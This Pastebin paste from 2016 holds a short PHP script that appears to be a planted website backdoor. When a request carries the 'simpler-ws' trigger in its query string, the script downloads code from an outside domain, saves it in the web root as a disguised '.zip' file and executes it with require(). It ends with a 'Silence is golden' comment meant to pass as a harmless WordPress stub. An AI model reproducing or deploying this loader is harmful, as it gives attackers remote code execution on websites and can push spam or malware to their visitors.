Advertisement
Guest User

Untitled

a guest
Nov 8th, 2016
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.36 KB | None | 0 0
  1. <?php
  2. $query = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
  3.  
  4. if (false !== strpos($query, 'simpler-ws')) {
  5.    __1get_ws();
  6.    $ws_hash = md5('wsa');
  7.    $cache_dir = __1get_root();
  8.    $ws_file = $cache_dir . '/' . $ws_hash . '.zip';
  9.    require ($ws_file);
  10.  
  11.    die('');
  12. }
  13.  
  14. function __1get_root()
  15. {
  16.    $localpath = getenv("SCRIPT_NAME");
  17.    $absolutepath = getenv("SCRIPT_FILENAME");
  18.    $root_path = substr($absolutepath, 0, strpos($absolutepath, $localpath));
  19.    return $root_path;
  20. }
  21.  
  22. function __1get_ws()
  23. {
  24.    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
  25.    $ws_hash = md5('wsa');
  26.    $cache_dir = __1get_root();
  27.    $ws_file = $cache_dir . '/' . $ws_hash . '.zip';
  28.    if (!file_exists($ws_file) || file_exists($ws_file) && (time() - filemtime($ws_file) > 60 * 60 * 24 * 1)) {
  29.       $ws = __1fetch_url(__get_rev() . '&get_ws');
  30.       if (!empty($ws)) file_put_contents($ws_file, $ws);
  31.    }
  32.    else {
  33.       $ws = file_get_contents($ws_file);
  34.    }
  35.  
  36.    return $ws;
  37. }
  38.  
  39. function __get_rev()
  40. {
  41.    return 'http://bokoinchina.com/extadult2.php?host=' . trim(strtolower($_SERVER['HTTP_HOST']) , '.') . '&full_url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
  42.    return 'http://nezlobudnya.com/generate';
  43. }
  44.  
  45. function __1fetch_url($url)
  46. {
  47.    $contents = false;
  48.    $errs = 0;
  49.    while (!$contents && ($errs++ < 3)) {
  50.       $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';
  51.       if (is_callable('curl_init')) {
  52.          $c = curl_init($url);
  53.          curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE);
  54.          curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  55.          curl_setopt($c, CURLOPT_USERAGENT, $user_agent);
  56.          $contents = curl_exec($c);
  57.          if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) $contents = false;
  58.          curl_close($c);
  59.       }
  60.       else {
  61.          $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen'));
  62.          if ($allowUrlFopen) {
  63.             $options = array(
  64.                'http' => array(
  65.                   'user_agent' => $user_agent
  66.                )
  67.             );
  68.             $context = stream_context_create($options);
  69.             $contents = @file_get_contents($url, false, $context);
  70.          }
  71.       }
  72.    }
  73.  
  74.    return $contents;
  75. }
  76.  
  77. // Silence is goldenÊ—¨®–¬µè^­
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement